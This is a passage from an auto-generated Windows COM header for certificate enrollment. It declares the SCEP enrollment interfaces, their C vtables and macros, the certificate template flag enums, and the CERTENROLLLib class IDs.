*/ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in IX509SCEPEnrollment2 * This,\n            /* [in] */ __RPC__in_opt IX509CertificateRequestPkcs10 *pRequest,\n            /* [in] */ __RPC__in BSTR strThumbprint,\n            /* [in] */ EncodingType ThumprintEncoding,\n            /* [in] */ __RPC__in BSTR strServerCertificates,\n            /* [defaultvalue][in] */ EncodingType Encoding);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeForPending )( \n            __RPC__in IX509SCEPEnrollment2 * This,\n            /* [in] */ X509CertificateEnrollmentContext Context);\n        \n        HRESULT ( STDMETHODCALLTYPE *CreateRequestMessage )( \n            __RPC__in IX509SCEPEnrollment2 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *CreateRetrievePendingMessage )( \n            __RPC__in IX509SCEPEnrollment2 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *CreateRetrieveCertificateMessage )( \n            __RPC__in IX509SCEPEnrollment2 * This,\n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ __RPC__in BSTR strIssuer,\n            /* [in] */ EncodingType IssuerEncoding,\n            /* [in] */ __RPC__in BSTR strSerialNumber,\n            /* [defaultvalue][in] */ EncodingType SerialNumberEncoding,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *ProcessResponseMessage )( \n            __RPC__in IX509SCEPEnrollment2 * This,\n            /* [in] */ __RPC__in BSTR strResponse,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__out X509SCEPDisposition *pDisposition);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_ServerCapabilities )( \n            __RPC__in IX509SCEPEnrollment2 * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_FailInfo )( \n            __RPC__in IX509SCEPEnrollment2 * This,\n            /* [retval][out] */ __RPC__out X509SCEPFailInfo *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_SignerCertificate )( \n            __RPC__in IX509SCEPEnrollment2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt ISignerCertificate **ppValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_SignerCertificate )( \n            __RPC__in IX509SCEPEnrollment2 * This,\n            /* [in] */ __RPC__in_opt ISignerCertificate *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_OldCertificate )( \n            __RPC__in IX509SCEPEnrollment2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt ISignerCertificate **ppValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_OldCertificate )( \n            __RPC__in IX509SCEPEnrollment2 * This,\n            /* [in] */ __RPC__in_opt ISignerCertificate *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_TransactionId )( \n            __RPC__in IX509SCEPEnrollment2 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_TransactionId )( \n            __RPC__in IX509SCEPEnrollment2 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Request )( \n            __RPC__in IX509SCEPEnrollment2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509CertificateRequestPkcs10 **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_CertificateFriendlyName )( \n            __RPC__in IX509SCEPEnrollment2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_CertificateFriendlyName )( \n            __RPC__in IX509SCEPEnrollment2 * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Status )( \n            __RPC__in IX509SCEPEnrollment2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509EnrollmentStatus **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Certificate )( \n            __RPC__in IX509SCEPEnrollment2 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Silent )( \n            __RPC__in IX509SCEPEnrollment2 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_Silent )( \n            __RPC__in IX509SCEPEnrollment2 * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        HRESULT ( STDMETHODCALLTYPE *DeleteRequest )( \n            __RPC__in IX509SCEPEnrollment2 * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *CreateChallengeAnswerMessage )( \n            __RPC__in IX509SCEPEnrollment2 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *ProcessResponseMessage2 )( \n            __RPC__in IX509SCEPEnrollment2 * This,\n            /* [in] */ X509SCEPProcessMessageFlags Flags,\n            /* [in] */ __RPC__in BSTR strResponse,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__out X509SCEPDisposition *pDisposition);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ResultMessageText )( \n            __RPC__in IX509SCEPEnrollment2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_DelayRetry )( \n            __RPC__in IX509SCEPEnrollment2 * This,\n            /* [retval][out] */ __RPC__out DelayRetryAction *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ActivityId )( \n            __RPC__in IX509SCEPEnrollment2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_ActivityId )( \n            __RPC__in IX509SCEPEnrollment2 * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        END_INTERFACE\n    } IX509SCEPEnrollment2Vtbl;\n\n    interface IX509SCEPEnrollment2\n    {\n        CONST_VTBL struct IX509SCEPEnrollment2Vtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509SCEPEnrollment2_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509SCEPEnrollment2_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509SCEPEnrollment2_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509SCEPEnrollment2_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509SCEPEnrollment2_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509SCEPEnrollment2_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509SCEPEnrollment2_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509SCEPEnrollment2_Initialize(This,pRequest,strThumbprint,ThumprintEncoding,strServerCertificates,Encoding)\t\\\n    ( (This)->lpVtbl -> Initialize(This,pRequest,strThumbprint,ThumprintEncoding,strServerCertificates,Encoding) ) \n\n#define IX509SCEPEnrollment2_InitializeForPending(This,Context)\t\\\n    ( (This)->lpVtbl -> InitializeForPending(This,Context) ) \n\n#define IX509SCEPEnrollment2_CreateRequestMessage(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> CreateRequestMessage(This,Encoding,pValue) ) \n\n#define IX509SCEPEnrollment2_CreateRetrievePendingMessage(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> CreateRetrievePendingMessage(This,Encoding,pValue) ) \n\n#define IX509SCEPEnrollment2_CreateRetrieveCertificateMessage(This,Context,strIssuer,IssuerEncoding,strSerialNumber,SerialNumberEncoding,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> CreateRetrieveCertificateMessage(This,Context,strIssuer,IssuerEncoding,strSerialNumber,SerialNumberEncoding,Encoding,pValue) ) \n\n#define IX509SCEPEnrollment2_ProcessResponseMessage(This,strResponse,Encoding,pDisposition)\t\\\n    ( (This)->lpVtbl -> ProcessResponseMessage(This,strResponse,Encoding,pDisposition) ) \n\n#define IX509SCEPEnrollment2_put_ServerCapabilities(This,Value)\t\\\n    ( (This)->lpVtbl -> put_ServerCapabilities(This,Value) ) \n\n#define IX509SCEPEnrollment2_get_FailInfo(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_FailInfo(This,pValue) ) \n\n#define IX509SCEPEnrollment2_get_SignerCertificate(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_SignerCertificate(This,ppValue) ) \n\n#define IX509SCEPEnrollment2_put_SignerCertificate(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_SignerCertificate(This,pValue) ) \n\n#define IX509SCEPEnrollment2_get_OldCertificate(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_OldCertificate(This,ppValue) ) \n\n#define IX509SCEPEnrollment2_put_OldCertificate(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_OldCertificate(This,pValue) ) \n\n#define IX509SCEPEnrollment2_get_TransactionId(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_TransactionId(This,Encoding,pValue) ) \n\n#define IX509SCEPEnrollment2_put_TransactionId(This,Encoding,Value)\t\\\n    ( (This)->lpVtbl -> put_TransactionId(This,Encoding,Value) ) \n\n#define IX509SCEPEnrollment2_get_Request(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_Request(This,ppValue) ) \n\n#define IX509SCEPEnrollment2_get_CertificateFriendlyName(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_CertificateFriendlyName(This,pValue) ) \n\n#define IX509SCEPEnrollment2_put_CertificateFriendlyName(This,Value)\t\\\n    ( (This)->lpVtbl -> put_CertificateFriendlyName(This,Value) ) \n\n#define IX509SCEPEnrollment2_get_Status(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_Status(This,ppValue) ) \n\n#define IX509SCEPEnrollment2_get_Certificate(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_Certificate(This,Encoding,pValue) ) \n\n#define IX509SCEPEnrollment2_get_Silent(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Silent(This,pValue) ) \n\n#define IX509SCEPEnrollment2_put_Silent(This,Value)\t\\\n    ( (This)->lpVtbl -> put_Silent(This,Value) ) \n\n#define IX509SCEPEnrollment2_DeleteRequest(This)\t\\\n    ( (This)->lpVtbl -> DeleteRequest(This) ) \n\n\n#define IX509SCEPEnrollment2_CreateChallengeAnswerMessage(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> CreateChallengeAnswerMessage(This,Encoding,pValue) ) \n\n#define IX509SCEPEnrollment2_ProcessResponseMessage2(This,Flags,strResponse,Encoding,pDisposition)\t\\\n    ( (This)->lpVtbl -> ProcessResponseMessage2(This,Flags,strResponse,Encoding,pDisposition) ) \n\n#define IX509SCEPEnrollment2_get_ResultMessageText(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ResultMessageText(This,pValue) ) \n\n#define IX509SCEPEnrollment2_get_DelayRetry(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_DelayRetry(This,pValue) ) \n\n#define IX509SCEPEnrollment2_get_ActivityId(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ActivityId(This,pValue) ) \n\n#define IX509SCEPEnrollment2_put_ActivityId(This,Value)\t\\\n    ( (This)->lpVtbl -> put_ActivityId(This,Value) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509SCEPEnrollment2_INTERFACE_DEFINED__ */\n\n\n#ifndef __IX509SCEPEnrollmentHelper_INTERFACE_DEFINED__\n#define __IX509SCEPEnrollmentHelper_INTERFACE_DEFINED__\n\n/* interface IX509SCEPEnrollmentHelper */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509SCEPEnrollmentHelper;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab365-217d-11da-b2a4-000e7bbb2b09\")\n    IX509SCEPEnrollmentHelper : public IDispatch\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE Initialize( \n            /* [in] */ __RPC__in BSTR strServerUrl,\n            /* [in] */ __RPC__in BSTR strRequestHeaders,\n            /* [in] */ __RPC__in_opt IX509CertificateRequestPkcs10 *pRequest,\n            /* [in] */ __RPC__in BSTR strCACertificateThumbprint) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE InitializeForPending( \n            /* [in] */ __RPC__in BSTR strServerUrl,\n            /* [in] */ __RPC__in BSTR strRequestHeaders,\n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ __RPC__in BSTR strTransactionId) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE Enroll( \n            /* [in] */ X509SCEPProcessMessageFlags ProcessFlags,\n            /* [retval][out] */ __RPC__out X509SCEPDisposition *pDisposition) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE FetchPending( \n            /* [in] */ X509SCEPProcessMessageFlags ProcessFlags,\n            /* [retval][out] */ __RPC__out X509SCEPDisposition *pDisposition) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_X509SCEPEnrollment( \n            /* [retval][out] */ __RPC__deref_out_opt IX509SCEPEnrollment **ppValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_ResultMessageText( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IX509SCEPEnrollmentHelperVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509SCEPEnrollmentHelper * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509SCEPEnrollmentHelper * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509SCEPEnrollmentHelper * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509SCEPEnrollmentHelper * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509SCEPEnrollmentHelper * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509SCEPEnrollmentHelper * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509SCEPEnrollmentHelper * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in IX509SCEPEnrollmentHelper * This,\n            /* [in] */ __RPC__in BSTR strServerUrl,\n            /* [in] */ __RPC__in BSTR strRequestHeaders,\n            /* [in] */ __RPC__in_opt IX509CertificateRequestPkcs10 *pRequest,\n            /* [in] */ __RPC__in BSTR strCACertificateThumbprint);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeForPending )( \n            __RPC__in IX509SCEPEnrollmentHelper * This,\n            /* [in] */ __RPC__in BSTR strServerUrl,\n            /* [in] */ __RPC__in BSTR strRequestHeaders,\n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ __RPC__in BSTR strTransactionId);\n        \n        HRESULT ( STDMETHODCALLTYPE *Enroll )( \n            __RPC__in IX509SCEPEnrollmentHelper * This,\n            /* [in] */ X509SCEPProcessMessageFlags ProcessFlags,\n            /* [retval][out] */ __RPC__out X509SCEPDisposition *pDisposition);\n        \n        HRESULT ( STDMETHODCALLTYPE *FetchPending )( \n            __RPC__in IX509SCEPEnrollmentHelper * This,\n            /* [in] */ X509SCEPProcessMessageFlags ProcessFlags,\n            /* [retval][out] */ __RPC__out X509SCEPDisposition *pDisposition);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_X509SCEPEnrollment )( \n            __RPC__in IX509SCEPEnrollmentHelper * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509SCEPEnrollment **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ResultMessageText )( \n            __RPC__in IX509SCEPEnrollmentHelper * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        END_INTERFACE\n    } IX509SCEPEnrollmentHelperVtbl;\n\n    interface IX509SCEPEnrollmentHelper\n    {\n        CONST_VTBL struct IX509SCEPEnrollmentHelperVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509SCEPEnrollmentHelper_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509SCEPEnrollmentHelper_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509SCEPEnrollmentHelper_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509SCEPEnrollmentHelper_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509SCEPEnrollmentHelper_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509SCEPEnrollmentHelper_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509SCEPEnrollmentHelper_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509SCEPEnrollmentHelper_Initialize(This,strServerUrl,strRequestHeaders,pRequest,strCACertificateThumbprint)\t\\\n    ( (This)->lpVtbl -> Initialize(This,strServerUrl,strRequestHeaders,pRequest,strCACertificateThumbprint) ) \n\n#define IX509SCEPEnrollmentHelper_InitializeForPending(This,strServerUrl,strRequestHeaders,Context,strTransactionId)\t\\\n    ( (This)->lpVtbl -> InitializeForPending(This,strServerUrl,strRequestHeaders,Context,strTransactionId) ) \n\n#define IX509SCEPEnrollmentHelper_Enroll(This,ProcessFlags,pDisposition)\t\\\n    ( (This)->lpVtbl -> Enroll(This,ProcessFlags,pDisposition) ) \n\n#define IX509SCEPEnrollmentHelper_FetchPending(This,ProcessFlags,pDisposition)\t\\\n    ( (This)->lpVtbl -> FetchPending(This,ProcessFlags,pDisposition) ) \n\n#define IX509SCEPEnrollmentHelper_get_X509SCEPEnrollment(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_X509SCEPEnrollment(This,ppValue) ) \n\n#define IX509SCEPEnrollmentHelper_get_ResultMessageText(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ResultMessageText(This,pValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509SCEPEnrollmentHelper_INTERFACE_DEFINED__ */\n\n\n\n#ifndef __CERTENROLLLib_LIBRARY_DEFINED__\n#define __CERTENROLLLib_LIBRARY_DEFINED__\n\n/* library CERTENROLLLib */\n/* [helpstring][version][uuid] */ \n\ntypedef \nenum X509CertificateTemplateGeneralFlag\n    {\n        GeneralMachineType\t= 0x40,\n        GeneralCA\t= 0x80,\n        GeneralCrossCA\t= 0x800,\n        GeneralDefault\t= 0x10000,\n        GeneralModified\t= 0x20000,\n        GeneralDonotPersist\t= 0x1000\n    } \tX509CertificateTemplateGeneralFlag;\n\ntypedef \nenum X509CertificateTemplateEnrollmentFlag\n    {\n        EnrollmentIncludeSymmetricAlgorithms\t= 0x1,\n        EnrollmentPendAllRequests\t= 0x2,\n        EnrollmentPublishToKRAContainer\t= 0x4,\n        EnrollmentPublishToDS\t= 0x8,\n        EnrollmentAutoEnrollmentCheckUserDSCertificate\t= 0x10,\n        EnrollmentAutoEnrollment\t= 0x20,\n        EnrollmentDomainAuthenticationNotRequired\t= 0x80,\n        EnrollmentPreviousApprovalValidateReenrollment\t= 0x40,\n        EnrollmentUserInteractionRequired\t= 0x100,\n        EnrollmentAddTemplateName\t= 0x200,\n        EnrollmentRemoveInvalidCertificateFromPersonalStore\t= 0x400,\n        EnrollmentAllowEnrollOnBehalfOf\t= 0x800,\n        EnrollmentAddOCSPNoCheck\t= 0x1000,\n        EnrollmentReuseKeyOnFullSmartCard\t= 0x2000,\n        EnrollmentNoRevocationInfoInCerts\t= 0x4000,\n        EnrollmentIncludeBasicConstraintsForEECerts\t= 0x8000,\n        EnrollmentPreviousApprovalKeyBasedValidateReenrollment\t= 0x10000,\n        EnrollmentCertificateIssuancePoliciesFromRequest\t= 0x20000,\n        EnrollmentSkipAutoRenewal\t= 0x40000\n    } \tX509CertificateTemplateEnrollmentFlag;\n\ntypedef \nenum X509CertificateTemplateSubjectNameFlag\n    {\n        SubjectNameEnrolleeSupplies\t= 0x1,\n        SubjectNameRequireDirectoryPath\t= 0x80000000,\n        SubjectNameRequireCommonName\t= 0x40000000,\n        SubjectNameRequireEmail\t= 0x20000000,\n        SubjectNameRequireDNS\t= 0x10000000,\n        SubjectNameAndAlternativeNameOldCertSupplies\t= 0x8,\n        SubjectAlternativeNameEnrolleeSupplies\t= 0x10000,\n        SubjectAlternativeNameRequireDirectoryGUID\t= 0x1000000,\n        SubjectAlternativeNameRequireUPN\t= 0x2000000,\n        SubjectAlternativeNameRequireEmail\t= 0x4000000,\n        SubjectAlternativeNameRequireSPN\t= 0x800000,\n        SubjectAlternativeNameRequireDNS\t= 0x8000000,\n        SubjectAlternativeNameRequireDomainDNS\t= 0x400000\n    } \tX509CertificateTemplateSubjectNameFlag;\n\ntypedef \nenum X509CertificateTemplatePrivateKeyFlag\n    {\n        PrivateKeyRequireArchival\t= 0x1,\n        PrivateKeyExportable\t= 0x10,\n        PrivateKeyRequireStrongKeyProtection\t= 0x20,\n        PrivateKeyRequireAlternateSignatureAlgorithm\t= 0x40,\n        PrivateKeyRequireSameKeyRenewal\t= 0x80,\n        PrivateKeyUseLegacyProvider\t= 0x100,\n        PrivateKeyEKTrustOnUse\t= 0x200,\n        PrivateKeyEKValidateCert\t= 0x400,\n        PrivateKeyEKValidateKey\t= 0x800,\n        PrivateKeyAttestNone\t= 0,\n        PrivateKeyAttestPreferred\t= 0x1000,\n        PrivateKeyAttestRequired\t= 0x2000,\n        PrivateKeyAttestMask\t= 0x3000,\n        PrivateKeyAttestWithoutPolicy\t= 0x4000,\n        PrivateKeyServerVersionMask\t= 0xf0000,\n        PrivateKeyServerVersionShift\t= 16,\n        PrivateKeyHelloKspKey\t= 0x100000,\n        PrivateKeyHelloLogonKey\t= 0x200000,\n        PrivateKeyClientVersionMask\t= 0xf000000,\n        PrivateKeyClientVersionShift\t= 24\n    } \tX509CertificateTemplatePrivateKeyFlag;\n\n\nEXTERN_C const IID LIBID_CERTENROLLLib;\n\nEXTERN_C const CLSID CLSID_CObjectId;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e2000-217d-11da-b2a4-000e7bbb2b09\")\nCObjectId;\n#endif\n\nEXTERN_C const CLSID CLSID_CObjectIds;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e2001-217d-11da-b2a4-000e7bbb2b09\")\nCObjectIds;\n#endif\n\nEXTERN_C const CLSID CLSID_CBinaryConverter;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e2002-217d-11da-b2a4-000e7bbb2b09\")\nCBinaryConverter;\n#endif\n\nEXTERN_C const CLSID CLSID_CX500DistinguishedName;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e2003-217d-11da-b2a4-000e7bbb2b09\")\nCX500DistinguishedName;\n#endif\n\nEXTERN_C const CLSID CLSID_CCspInformation;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e2007-217d-11da-b2a4-000e7bbb2b09\")\nCCspInformation;\n#endif\n\nEXTERN_C const CLSID CLSID_CCspInformations;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e2008-217d-11da-b2a4-000e7bbb2b09\")\nCCspInformations;\n#endif\n\nEXTERN_C const CLSID CLSID_CCspStatus;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e2009-217d-11da-b2a4-000e7bbb2b09\")\nCCspStatus;\n#endif\n\nEXTERN_C const CLSID CLSID_CX509PublicKey;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e200b-217d-11da-b2a4-000e7bbb2b09\")\nCX509PublicKey;\n#endif\n\nEXTERN_C const CLSID CLSID_CX509PrivateKey;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e200c-217d-11da-b2a4-000e7bbb2b09\")\nCX509PrivateKey;\n#endif\n\nEXTERN_C const CLSID CLSID_CX509EndorsementKey;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"11A25A1D-B9A3-4EDD-AF83-3B59ADBED361\")\nCX509EndorsementKey;\n#endif\n\nEXTERN_C const CLSID CLSID_CX509Extension;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e200d-217d-11da-b2a4-000e7bbb2b09\")\nCX509Extension;\n#endif\n\nEXTERN_C const CLSID CLSID_CX509Extensions;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e200e-217d-11da-b2a4-000e7bbb2b09\")\nCX509Extensions;\n#endif\n\nEXTERN_C const CLSID CLSID_CX509ExtensionKeyUsage;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e200f-217d-11da-b2a4-000e7bbb2b09\")\nCX509ExtensionKeyUsage;\n#endif\n\nEXTERN_C const CLSID CLSID_CX509ExtensionEnhancedKeyUsage;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e2010-217d-11da-b2a4-000e7bbb2b09\")\nCX509ExtensionEnhancedKeyUsage;\n#endif\n\nEXTERN_C const CLSID CLSID_CX509ExtensionTemplateName;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e2011-217d-11da-b2a4-000e7bbb2b09\")\nCX509ExtensionTemplateName;\n#endif\n\nEXTERN_C const CLSID CLSID_CX509ExtensionTemplate;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e2012-217d-11da-b2a4-000e7bbb2b09\")\nCX509ExtensionTemplate;\n#endif\n\nEXTERN_C const CLSID CLSID_CAlternativeName;\n\n#ifdef __cplusplus\n\nclass 